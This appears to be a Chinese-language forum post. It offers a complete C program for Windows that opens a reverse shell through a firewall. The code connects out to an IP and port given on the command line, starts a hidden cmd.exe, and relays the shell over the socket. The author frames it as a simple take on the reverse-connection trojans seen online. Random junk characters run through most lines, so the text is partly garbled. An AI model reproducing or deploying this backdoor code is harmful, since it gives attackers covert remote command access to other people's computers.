这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Kc2OLz#
(_i
v N
/* ============================== ) $l9xx[
Rebound port in Windows NT M<#)D
By wind,2006/7 -A-hxK*^
===============================*/ &0th1-OP_
#include (A] m=
#include 1a=9z'8V
&k_wqV
#pragma comment(lib,"wsock32.lib") 23(E3:.
R[>;_}5">
void OutputShell(); Q~b M
SOCKET sClient; ?sjZ13 SUa
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C+L_61
UgD'Bi
void main(int argc,char **argv) :9!0Rm
{ \AtwO
WSADATA stWsaData; U Qi^udGFD
int nRet; }!Diai*C
SOCKADDR_IN stSaiClient,stSaiServer; SILvqm
/_VRO9R\V
if(argc != 3) {!{7zM%u0C
{ C#**)
printf("Useage:\n\rRebound DestIP DestPort\n"); rjpafGCp
return; +2au
;^N
} 4xAlaOw5M
CtC`:!Q
WSAStartup(MAKEWORD(2,2),&stWsaData); [K)1!KK,L
c~L6fvS
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !6tC[W`
4_m
/_Z0x
stSaiClient.sin_family = AF_INET; LA=>g/+i.X
stSaiClient.sin_port = htons(0); vN%j-'D\A4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d*\C^:Z
Nh\8+v*+{
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #Z=)=
{
yu?s5
printf("Bind Socket Failed!\n"); [P&,}o)+E0
return; CN$A-sjZ
} 4 _U,-%/
@Y&9S)xcE
stSaiServer.sin_family = AF_INET; PRk%C0`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ni@e/|
2b
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Bbt8fJA~
dXo'#.
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H+#wj|,+\
{ f`9rTc
printf("Connect Error!"); 6pn@`UK
return; ~oW8GQ
} P7x?!71?L
OutputShell(); eRx[&-c
} r4NT`&`g?
hTtp-e`
void OutputShell() Ae_ E;[mj
{ /L|}Y242
char szBuff[1024]; e>zk3\D!
SECURITY_ATTRIBUTES stSecurityAttributes; zHs
OSVERSIONINFO stOsversionInfo; ~Ro:mH:w
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~Yz/t
STARTUPINFO stStartupInfo; wCTR-pL^
char *szShell; gAUQQ
PROCESS_INFORMATION stProcessInformation; s^t1PfP(,
unsigned long lBytesRead; ]o+|jgkt]
*T2&$W|_a
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^R'!\m|FR
cKYvRe
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0l1]QD+Gc5
stSecurityAttributes.lpSecurityDescriptor = 0; A-wxf91+:
stSecurityAttributes.bInheritHandle = TRUE; x5 ~E'~_
yoY)6cn@
So 6cm|{
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -Lf6]5$2'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g+/U^JIc4l
K9M.+d4
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); k`~br249
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K
y4y
stStartupInfo.wShowWindow = SW_HIDE; O/^w!
:z'
stStartupInfo.hStdInput = hReadPipe;
DPxu3,Y
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8v=47G
Z%9^6kdY
GetVersionEx(&stOsversionInfo); OK J%M]<
@?=)}2=|?i
switch(stOsversionInfo.dwPlatformId) <({eOh5N
{ zPkPC}f(O
case 1: /"{ ,m!
szShell = "command.com"; hJ*E"{xs
break; 1V3J:W#;
default: ~+nSI-L
szShell = "cmd.exe"; ?HyioLO
break; HPdwx
V
} #*M$,ig
3M*[a~
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N,,2VSUr
']Xx#U N
send(sClient,szMsg,77,0); :tG".z
while(1) D"f(nVEr
{ w&cyGd D5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8Xzx;-&4
if(lBytesRead) *dTf(J
{ Z_~DTO2Qg
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ujqktrhuLb
send(sClient,szBuff,lBytesRead,0); |+~2sbM
} 1O7ss_E
else [
=2In;
{ TC#B^m`'p
lBytesRead=recv(sClient,szBuff,1024,0); h#ot)m|I
if(lBytesRead<=0) break; =F[,-B~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); J5IJy3d
} s?#lhI
} ^v5hr>m
bK1`a{
return; }jgAV
}